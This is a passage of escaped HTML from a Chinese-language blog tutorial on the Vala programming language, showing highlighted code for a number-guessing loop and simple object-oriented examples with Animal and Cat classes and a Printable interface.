class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etoGuess\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etoGuess\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Think larger.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Think smaller.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Match\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"面向对象特性\"\u003e面向对象特性\u003c/h2\u003e\n\u003cp\u003e先说一句,我面向对象课学的一塌糊涂,如果想了解更多,请看官方介绍:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/Tutorial#Object_Oriented_Programming\" target=\"_blank\" rel=\"noopener\"\u003eProject/Vala/Tutorial#OOP\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注意,Vala 基于 GLib,GLib 包含 GObject,GObject 仅支持单向继承。所以,跟 Java 一样,Vala 是单继承+接口。\u003c/p\u003e\n\u003cp\u003e从大家喜闻乐见的开始:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eAnimal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 类里面的变量\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 和 Java 一样,有 private protected public\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eprotected\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 构造函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAnimal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 析构函数,一般不用写\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// ~Animal();\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Punish you in the name of the moon, \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eCat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAnimal\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// base() 调取父类构造函数,必须写\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 重写方法需要加 \u0026#34;new\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;meow~\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;graw~\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;A\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个是我从网上抄的一段代码:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 接口,也就是不能被实例化的虚类。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003einterface\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003ePrintable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// abstract 要由继承的类实现\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eabstract\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// virtual 有默认的实现\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evirtual\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Please \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eNormalPrint\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePrintable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 实现上面的 abstract\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 